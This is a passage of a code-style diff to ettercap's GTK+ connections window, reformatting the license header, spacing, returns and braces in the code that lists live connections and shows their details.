FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GTK+ GUI + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -101,9 +101,9 @@ extern void conntrack_unlock(void); /* connection list */ static struct row_pairs *connections = NULL; static GtkWidget *conns_window = NULL; -static GtkWidget *treeview = NULL; /* the visible part of the GTK list */ -static GtkListStore *ls_conns = NULL; /* the data part */ -static GtkTreeSelection *selection = NULL; +static GtkWidget *treeview = NULL; /* the visible part of the GTK list */ +static GtkListStore *ls_conns = NULL; /* the data part */ +static GtkTreeSelection *selection = NULL; static struct conn_object *curr_conn = NULL; static struct conn_filter filter; static guint connections_idle = 0; @@ -113,16 +113,16 @@ static guint detail_timer1 = 0; static guint detail_timer2 = 0; /* split and joined data views */ -static GtkWidget *data_window = NULL; -static GtkWidget *textview1 = NULL; /* visible part of data output */ -static GtkWidget *textview2 = NULL; -static GtkWidget *textview3 = NULL; +static GtkWidget *data_window = NULL; +static GtkWidget *textview1 = NULL; /* visible part of data output */ +static GtkWidget *textview2 = NULL; +static GtkWidget *textview3 = NULL; static GtkTextBuffer *splitbuf1 = NULL; /* where data is stored */ static GtkTextBuffer *splitbuf2 = NULL; static GtkTextBuffer *joinedbuf = NULL; -static GtkTextMark *endmark1 = NULL; /* marks for auto-scrolling */ -static GtkTextMark *endmark2 = NULL; -static GtkTextMark *endmark3 = NULL; +static GtkTextMark *endmark1 = NULL; /* marks for auto-scrolling */ +static GtkTextMark *endmark2 = NULL; +static GtkTextMark *endmark3 = NULL; /* keep it global, so the memory region is always the same (reallocing it) */ static u_char *dispbuf; @@ -140,15 +140,15 @@ void gtkui_show_connections(void) GtkWidget *chkb_active, *chkb_idle, *chkb_closing, *chkb_closed, *chkb_killed; GtkTreeModel *model; GtkToolItem *toolbutton; - GtkCellRenderer *renderer; + GtkCellRenderer *renderer; GtkTreeViewColumn *column; DEBUG_MSG("gtk_show_connections"); /* if the object already exist, set the focus to it */ if (conns_window) { - if(GTK_IS_WINDOW (conns_window)) - gtk_window_present(GTK_WINDOW (conns_window)); + if (GTK_IS_WINDOW(conns_window)) + gtk_window_present(GTK_WINDOW(conns_window)); else gtkui_page_present(conns_window); return; @@ -157,7 +157,7 @@ void gtkui_show_connections(void) conns_window = gtkui_page_new("Connections", >kui_kill_connections, >kui_connections_detach); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); - gtk_container_add(GTK_CONTAINER (conns_window), vbox); + gtk_container_add(GTK_CONTAINER(conns_window), vbox); gtk_widget_show(vbox); /* filter bar */ @@ -239,76 +239,75 @@ void gtkui_show_connections(void) gtk_box_pack_start(GTK_BOX(hbox), frame, FALSE, FALSE, 0); gtk_widget_show_all(hbox); - /* list */ scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); - gtk_container_add(GTK_CONTAINER (scrolled), treeview); + gtk_container_add(GTK_CONTAINER(scrolled), treeview); gtk_widget_show(treeview); - selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); - gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); - g_signal_connect (G_OBJECT (treeview), "row_activated", G_CALLBACK (gtkui_connection_data), NULL); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes (" ", renderer, "text", 0, NULL); - gtk_tree_view_column_set_sort_column_id (column, 0); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Host ", renderer, "text", 1, NULL); - gtk_tree_view_column_set_sort_column_id (column, 1); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Port", renderer, "text", 2, NULL); - gtk_tree_view_column_set_sort_column_id (column, 2); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("-", renderer, "text", 3, NULL); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Host ", renderer, "text", 4, NULL); - gtk_tree_view_column_set_sort_column_id (column, 4); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Port", renderer, "text", 5, NULL); - gtk_tree_view_column_set_sort_column_id (column, 5); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Proto", renderer, "text", 6, NULL); - gtk_tree_view_column_set_sort_column_id (column, 6); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("State", renderer, "text", 7, NULL); - gtk_tree_view_column_set_sort_column_id (column, 7); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("TX Bytes", renderer, "text", 8, NULL); - gtk_tree_view_column_set_sort_column_id (column, 8); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); - - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("RX Bytes", renderer, "text", 9, NULL); - gtk_tree_view_column_set_sort_column_id (column, 9); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + selection = gtk_tree_view_get_selection(GTK_TREE_VIEW(treeview)); + gtk_tree_selection_set_mode(selection, GTK_SELECTION_SINGLE); + g_signal_connect(G_OBJECT(treeview), "row_activated", G_CALLBACK(gtkui_connection_data), NULL); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes(" ", renderer, "text", 0, NULL); + gtk_tree_view_column_set_sort_column_id(column, 0); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Host ", renderer, "text", 1, NULL); + gtk_tree_view_column_set_sort_column_id(column, 1); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Port", renderer, "text", 2, NULL); + gtk_tree_view_column_set_sort_column_id(column, 2); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("-", renderer, "text", 3, NULL); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Host ", renderer, "text", 4, NULL); + gtk_tree_view_column_set_sort_column_id(column, 4); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Port", renderer, "text", 5, NULL); + gtk_tree_view_column_set_sort_column_id(column, 5); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Proto", renderer, "text", 6, NULL); + gtk_tree_view_column_set_sort_column_id(column, 6); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("State", renderer, "text", 7, NULL); + gtk_tree_view_column_set_sort_column_id(column, 7); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("TX Bytes", renderer, "text", 8, NULL); + gtk_tree_view_column_set_sort_column_id(column, 8); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); + + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("RX Bytes", renderer, "text", 9, NULL); + gtk_tree_view_column_set_sort_column_id(column, 9); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); #ifdef WITH_GEOIP - renderer = gtk_cell_renderer_text_new (); - column = gtk_tree_view_column_new_with_attributes ("Countries", renderer, "text", 10, NULL); - gtk_tree_view_column_set_sort_column_id (column, 10); - gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); + renderer = gtk_cell_renderer_text_new(); + column = gtk_tree_view_column_new_with_attributes("Countries", renderer, "text", 10, NULL); + gtk_tree_view_column_set_sort_column_id(column, 10); + gtk_tree_view_append_column(GTK_TREE_VIEW(treeview), column); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); @@ -316,32 +315,32 @@ void gtkui_show_connections(void) gtk_widget_show(hbox); button = gtk_button_new_with_mnemonic("View _Details"); - g_signal_connect (G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_detail), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_detail), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Kill Connection"); - g_signal_connect (G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_kill), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_kill), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); - + button = gtk_button_new_with_mnemonic("E_xpunge Connections"); - g_signal_connect (G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_purge), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_purge), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); /* context menu */ context_menu = gtk_menu_new(); - + items = gtk_menu_item_new_with_label("View Details"); - gtk_menu_shell_append (GTK_MENU_SHELL (context_menu), items); - g_signal_connect (G_OBJECT (items), "activate", G_CALLBACK (gtkui_connection_detail), NULL); - gtk_widget_show (items); + gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), items); + g_signal_connect(G_OBJECT(items), "activate", G_CALLBACK(gtkui_connection_detail), NULL); + gtk_widget_show(items); items = gtk_menu_item_new_with_label("Kill Connection"); - gtk_menu_shell_append (GTK_MENU_SHELL (context_menu), items); - g_signal_connect (G_OBJECT (items), "activate", G_CALLBACK (gtkui_connection_kill), NULL); - gtk_widget_show (items); + gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), items); + g_signal_connect(G_OBJECT(items), "activate", G_CALLBACK(gtkui_connection_kill), NULL); + gtk_widget_show(items); g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_context_menu), context_menu); @@ -350,14 +349,14 @@ void gtkui_show_connections(void) /* init filter model handle */ filter.model = gtk_tree_model_filter_new(GTK_TREE_MODEL(ls_conns), NULL); - gtk_tree_model_filter_set_visible_func(GTK_TREE_MODEL_FILTER(filter.model), + gtk_tree_model_filter_set_visible_func(GTK_TREE_MODEL_FILTER(filter.model), (GtkTreeModelFilterVisibleFunc)connfilter, NULL, NULL); /* sorting model has to be explicitely created from the filtered model to support both */ model = gtk_tree_model_sort_new_with_model(filter.model); /* link the Tree Model with the Tree View */ - gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), model); + gtk_tree_view_set_model(GTK_TREE_VIEW(treeview), model); /* refresh the list every 1000 ms */ /* gtk_idle_add refreshes too fast, uses all cpu */ @@ -370,16 +369,16 @@ void gtkui_show_connections(void) void gtkui_connections_detach(GtkWidget *child) { conns_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); - gtk_window_set_title(GTK_WINDOW (conns_window), "Live connections"); - gtk_window_set_default_size(GTK_WINDOW (conns_window), 500, 250); + gtk_window_set_title(GTK_WINDOW(conns_window), "Live connections"); + gtk_window_set_default_size(GTK_WINDOW(conns_window), 500, 250); g_signal_connect(G_OBJECT(conns_window), "delete_event", G_CALLBACK(gtkui_kill_connections), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(conns_window, gtkui_connections_attach); - gtk_container_add(GTK_CONTAINER (conns_window), child); + gtk_container_add(GTK_CONTAINER(conns_window), child); - gtk_window_present(GTK_WINDOW (conns_window)); + gtk_window_present(GTK_WINDOW(conns_window)); } /* callback for attaching the tab */ @@ -403,7 +402,7 @@ static void gtkui_kill_connections(void) static gboolean refresh_connections(gpointer data) { struct row_pairs *lastconn = NULL, *cache = NULL; - GtkTreeModel *model = GTK_TREE_MODEL (ls_conns); + GtkTreeModel *model = GTK_TREE_MODEL(ls_conns); void *list, *next, *listend; struct conn_object *conn; /* stores connection details */ GtkTreeIter iter; /* points to a specific row */ @@ -412,62 +411,62 @@ static gboolean refresh_connections(gpointer data) struct row_pairs *row = NULL, *nextrow = NULL, top, bottom; /* variable not used */ - (void) data; + (void)data; /* init strings */ memset(&flags, 0, sizeof(flags)); memset(&status, 0, sizeof(status)); /* make sure the list has been created and window is visible */ - if(ls_conns) { + if (ls_conns) { if (!gtk_widget_get_visible(conns_window)) - return(FALSE); + return FALSE; } else { /* Columns: Flags, Host, Port, "-", Host, Port, - Proto, State, TX Bytes, RX Bytes, Countries, (hidden) pointer */ - ls_conns = gtk_list_store_new (12, - G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, - G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, - G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, - G_TYPE_UINT, G_TYPE_STRING, G_TYPE_POINTER); + * Proto, State, TX Bytes, RX Bytes, Countries, (hidden) pointer */ + ls_conns = gtk_list_store_new(12, + G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, + G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, + G_TYPE_STRING, G_TYPE_STRING, G_TYPE_UINT, + G_TYPE_UINT, G_TYPE_STRING, G_TYPE_POINTER); connections = NULL; } /* remove old connections */ - for(row = connections; row; row = nextrow) { - nextrow = row->next; - if(conntrack_get(0, row->conn, NULL) == NULL) { - /* remove row from the GTK list */ - gtk_list_store_remove(GTK_LIST_STORE(ls_conns), &row->iter); - - /* remove pointers from the linked-list and free */ - if(row->next) - row->next->prev = row->prev; - - if(row->prev) - row->prev->next = row->next; - else - connections = row->next; - SAFE_FREE(row); - } - if(row) - lastconn = row; + for (row = connections; row; row = nextrow) { + nextrow = row->next; + if (conntrack_get(0, row->conn, NULL) == NULL) { + /* remove row from the GTK list */ + gtk_list_store_remove(GTK_LIST_STORE(ls_conns), &row->iter); + + /* remove pointers from the linked-list and free */ + if (row->next) + row->next->prev = row->prev; + + if (row->prev) + row->prev->next = row->next; + else + connections = row->next; + SAFE_FREE(row); + } + if (row) + lastconn = row; } /* make sure we have a place to start searching for new rows */ - if(!lastconn) { + if (!lastconn) { listend = conntrack_get(0, NULL, NULL); - if(listend == NULL) - return(TRUE); + if (listend == NULL) + return TRUE; } else { listend = lastconn->conn; } /* add new connections */ - for(list = conntrack_get(+1, listend, NULL); list; list = next) { + for (list = conntrack_get(+1, listend, NULL); list; list = next) { next = conntrack_get(+1, list, &conn); cache = gtkui_connections_add(conn, list, &connections); - if(cache) + if (cache) lastconn = cache; } @@ -475,15 +474,15 @@ static gboolean refresh_connections(gpointer data) gtkui_connection_list_row(1, &top); gtkui_connection_list_row(0, &bottom); - if(top.conn == NULL) - return(TRUE); + if (top.conn == NULL) + return TRUE; iter = top.iter; /* copy iter by value */ /* update visible part of list */ do { /* get the conntrack pointer for this row */ - gtk_tree_model_get (model, &iter, 11, &list, -1); + gtk_tree_model_get(model, &iter, 11, &list, -1); conntrack_get(0, list, &conn); /* extract changing values from conntrack_print string */ @@ -492,20 +491,21 @@ static gboolean refresh_connections(gpointer data) tx = conn->tx; rx = conn->rx; - gtk_list_store_set (ls_conns, &iter, 0, flags, 7, status, 8, tx, 9, rx, -1); + gtk_list_store_set(ls_conns, &iter, 0, flags, 7, status, 8, tx, 9, rx, -1); /* when we reach the bottom of the visible part, stop updating */ - if(bottom.conn == list) + if (bottom.conn == list) break; - } while(gtk_tree_model_iter_next(model, &iter)); + } while (gtk_tree_model_iter_next(model, &iter)); /* finnaly apply the filter */ gtk_tree_model_filter_refilter(GTK_TREE_MODEL_FILTER(filter.model)); - - return(TRUE); + + return TRUE; } -static struct row_pairs *gtkui_connections_add(struct conn_object *co, void *conn, struct row_pairs **list) { +static struct row_pairs *gtkui_connections_add(struct conn_object *co, void *conn, struct row_pairs **list) +{ GtkTreeIter iter; char flags[2], src[MAX_ASCII_ADDR_LEN], dst[MAX_ASCII_ADDR_LEN]; char proto[4], status[8], ccodes[8]; @@ -514,8 +514,8 @@ static struct row_pairs *gtkui_connections_add(struct conn_object *co, void *con /* even if list is empty, we need a pointer to the NULL pointer */ /* so we can start a list */ - if(!list) - return(NULL); + if (!list) + return NULL; /* init strings */ memset(&flags, 0, sizeof(flags)); @@ -541,24 +541,24 @@ static struct row_pairs *gtkui_connections_add(struct conn_object *co, void *con rx = co->rx; /* add it to GTK list */ - gtk_list_store_append (ls_conns, &iter); - gtk_list_store_set (ls_conns, &iter, - 0, flags, 1, src, 2, src_port, - 3, "-", 4, dst, 5, dst_port, - 6, proto, 7, status, 8, tx, - 9, rx, 10, ccodes, 11, conn, -1); + gtk_list_store_append(ls_conns, &iter); + gtk_list_store_set(ls_conns, &iter, + 0, flags, 1, src, 2, src_port, + 3, "-", 4, dst, 5, dst_port, + 6, proto, 7, status, 8, tx, + 9, rx, 10, ccodes, 11, conn, -1); /* and add it to our linked list */ - if(!*list) { + if (!*list) { row = malloc(sizeof(struct row_pairs)); - if(row == NULL) { + if (row == NULL) { USER_MSG("Failed create new connection row\n"); DEBUG_MSG("gktui_connections_add: failed to allocate memory for a new row"); } row->prev = NULL; } else { - for(row = *list; row && row->next; row = row->next); + for (row = *list; row && row->next; row = row->next) ; row->next = malloc(sizeof(struct row_pairs)); - if(row->next == NULL) { + if (row->next == NULL) { USER_MSG("Failed create new connection row\n"); DEBUG_MSG("gktui_connections_add: failed to allocate memory for a new row"); } @@ -571,18 +571,19 @@ static struct row_pairs *gtkui_connections_add(struct conn_object *co, void *con row->next = NULL; /* in case this was the first list entry */ - if(!*list) - *list = row; + if (!*list) + *list = row; - return(row); + return row; } -/* +/* * get the top or bottom visible row in the connection list * returns TOP row if (int top) is > 0 and list is not empty * returns BOTTOM row if (int top) is 0 and visible area is full */ -static void gtkui_connection_list_row(int top, struct row_pairs *pair) { +static void gtkui_connection_list_row(int top, struct row_pairs *pair) +{ GtkTreeIter iter; /* points to a specific row */ GtkTreePath *path = NULL; /* for finding the first visible row */ GtkTreeModel *model = NULL; /* points to the list data */ @@ -590,34 +591,34 @@ static void gtkui_connection_list_row(int top, struct row_pairs *pair) { int wx = 0, wy = 0; /* for converting tree view coords to widget coords */ void *row = NULL; - if(!ls_conns || !pair) + if (!ls_conns || !pair) return; /* in case we don't get a row */ pair->conn = NULL; - model = GTK_TREE_MODEL (ls_conns); - if(gtk_tree_model_get_iter_first(model, &iter)) { + model = GTK_TREE_MODEL(ls_conns); + if (gtk_tree_model_get_iter_first(model, &iter)) { gtk_tree_view_get_visible_rect(GTK_TREE_VIEW(treeview), &rect); /* get the first visible row */ - gtk_tree_view_convert_bin_window_to_widget_coords(GTK_TREE_VIEW(treeview), - rect.x, (top)?rect.y:rect.height, &wx, &wy); + gtk_tree_view_convert_bin_window_to_widget_coords(GTK_TREE_VIEW(treeview), + rect.x, (top) ? rect.y : rect.height, &wx, &wy); path = gtk_tree_path_new(); - if(gtk_tree_view_get_path_at_pos(GTK_TREE_VIEW(treeview), wx+2, (top)?wy+2:wy-2, &path, NULL, NULL, NULL)) { + if (gtk_tree_view_get_path_at_pos(GTK_TREE_VIEW(treeview), wx + 2, (top) ? wy + 2 : wy - 2, &path, NULL, NULL, NULL)) { gtk_tree_model_get_iter(model, &iter, path); - gtk_tree_model_get (model, &iter, 11, &row, -1); + gtk_tree_model_get(model, &iter, 11, &row, -1); pair->iter = iter; pair->conn = row; } - if(path) + if (path) gtk_tree_path_free(path); } return; } -/* +/* * details for a connection */ static void gtkui_connection_detail(void) @@ -633,14 +634,14 @@ static void gtkui_connection_detail(void) DEBUG_MSG("gtk_connection_detail"); - model = GTK_TREE_MODEL (ls_conns); + model = GTK_TREE_MODEL(ls_conns); - if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { - gtk_tree_model_get (model, &iter, 11, &c, -1); + if (gtk_tree_selection_get_selected(GTK_TREE_SELECTION(selection), &model, &iter)) { + gtk_tree_model_get(model, &iter, 11, &c, -1); } else return; /* nothing is selected */ - if(!c || !c->co) + if (!c || !c->co) return; dwindow = gtk_window_new(GTK_WINDOW_TOPLEVEL); @@ -649,8 +650,8 @@ static void gtkui_connection_detail(void) gtk_window_set_transient_for(GTK_WINDOW(dwindow), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(dwindow), GTK_WIN_POS_CENTER_ON_PARENT); gtk_container_set_border_width(GTK_CONTAINER(dwindow), 5); - g_signal_connect(G_OBJECT(dwindow), "delete-event", - G_CALLBACK(gtkui_connection_detail_destroy), NULL); + g_signal_connect(G_OBJECT(dwindow), "delete-event", + G_CALLBACK(gtkui_connection_detail_destroy), NULL); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 5, FALSE); gtk_container_add(GTK_CONTAINER(dwindow), vbox); @@ -663,59 +664,59 @@ static void gtkui_connection_detail(void) /* Layer 2 Information */ label = gtk_label_new("Layer 2 Information:"); - markup = g_markup_printf_escaped("%s", - gtk_label_get_text(GTK_LABEL(label))); + markup = g_markup_printf_escaped("%s", + gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 3, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); g_free(markup); row++; label = gtk_label_new("Source MAC address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(mac_addr_ntoa(c->co->L2_addr1, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); row++; label = gtk_label_new("Destination MAC address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(mac_addr_ntoa(c->co->L2_addr2, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); /* Layer 3 information */ row++; label = gtk_label_new("Layer 3 Information:"); - markup = g_markup_printf_escaped("%s", - gtk_label_get_text(GTK_LABEL(label))); + markup = g_markup_printf_escaped("%s", + gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); - gtk_table_set_row_spacing(GTK_TABLE(table), row-1, 10); + gtk_table_attach(GTK_TABLE(table), label, col, col + 3, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_set_row_spacing(GTK_TABLE(table), row - 1, 10); g_free(markup); row++; label = gtk_label_new("Source IP address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(ip_addr_ntoa(&c->co->L3_addr1, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); if (GBL_OPTIONS->resolve) { row++; label = gtk_label_new("Source hostname:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new("resolving..."); if (host_iptoa(&c->co->L3_addr1, name) == -E_NOMATCH) { @@ -726,13 +727,12 @@ static void gtkui_connection_detail(void) ro->widget = label; ro->ip = &c->co->L3_addr1; detail_timer1 = g_timeout_add(1000, gtkui_iptoa_deferred, ro); - } - else { + } else { gtk_label_set_text(GTK_LABEL(label), name); } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } #ifdef WITH_GEOIP @@ -740,30 +740,30 @@ static void gtkui_connection_detail(void) row++; label = gtk_label_new("Source location:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(geoip_country_by_ip(&c->co->L3_addr1)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } #endif row++; label = gtk_label_new("Destination IP address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(ip_addr_ntoa(&c->co->L3_addr2, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); if (GBL_OPTIONS->resolve) { row++; label = gtk_label_new("Destination hostname:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new("resolving..."); if (host_iptoa(&c->co->L3_addr2, name) == -E_NOMATCH) { @@ -774,13 +774,12 @@ static void gtkui_connection_detail(void) ro->widget = label; ro->ip = &c->co->L3_addr2; detail_timer2 = g_timeout_add(1000, gtkui_iptoa_deferred, ro); - } - else { + } else { gtk_label_set_text(GTK_LABEL(label), name); } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + 